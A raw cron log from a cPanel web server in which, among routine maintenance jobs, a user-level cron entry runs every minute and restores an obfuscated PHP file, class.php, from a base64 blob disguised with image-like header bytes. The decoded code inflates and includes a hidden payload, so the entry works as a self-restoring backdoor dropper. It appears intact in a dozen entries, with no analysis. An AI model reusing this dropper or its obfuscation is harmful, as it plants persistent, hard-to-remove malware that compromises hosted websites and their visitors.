Sep  5 01:27:01 server CROND[16274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:27:01 server CROND[16275]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:27:01 server CROND[16276]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:27:01 server CROND[16279]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 01:28:01 server CROND[16748]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:28:01 server CROND[16749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:28:01 server CROND[16750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:29:01 server CROND[17124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:29:01 server CROND[17125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:29:01 server CROND[17126]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:30:01 server CROND[17660]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 01:30:01 server CROND[17663]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 01:30:01 server CROND[17666]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 01:30:01 server CROND[17668]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:30:01 server CROND[17664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:30:01 server CROND[17665]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 01:30:01 server CROND[17670]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 01:30:01 server CROND[17667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:31:01 server CROND[18501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:31:01 server CROND[18502]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:31:01 server CROND[18503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:32:01 server CROND[18886]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:32:01 server CROND[18887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:32:01 server CROND[18888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:33:01 server CROND[19274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:33:01 server CROND[19275]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:33:01 server CROND[19276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:34:01 server CROND[19656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:34:01 server CROND[19657]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:34:01 server CROND[19658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:35:01 server CROND[20144]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 01:35:01 server CROND[20147]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 01:35:01 server CROND[20148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:35:01 server CROND[20150]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 01:35:01 server CROND[20149]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 01:35:01 server CROND[20152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:35:01 server CROND[20151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:35:01 server CROND[20153]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 01:35:01 server CROND[20155]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 01:36:01 server CROND[21002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:36:01 server CROND[21003]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:36:01 server CROND[21004]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:37:01 server CROND[21398]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:37:01 server CROND[21399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:37:01 server CROND[21400]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:38:01 server CROND[21789]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:38:01 server CROND[21790]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:38:01 server CROND[21791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:39:01 server CROND[22171]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:39:01 server CROND[22170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
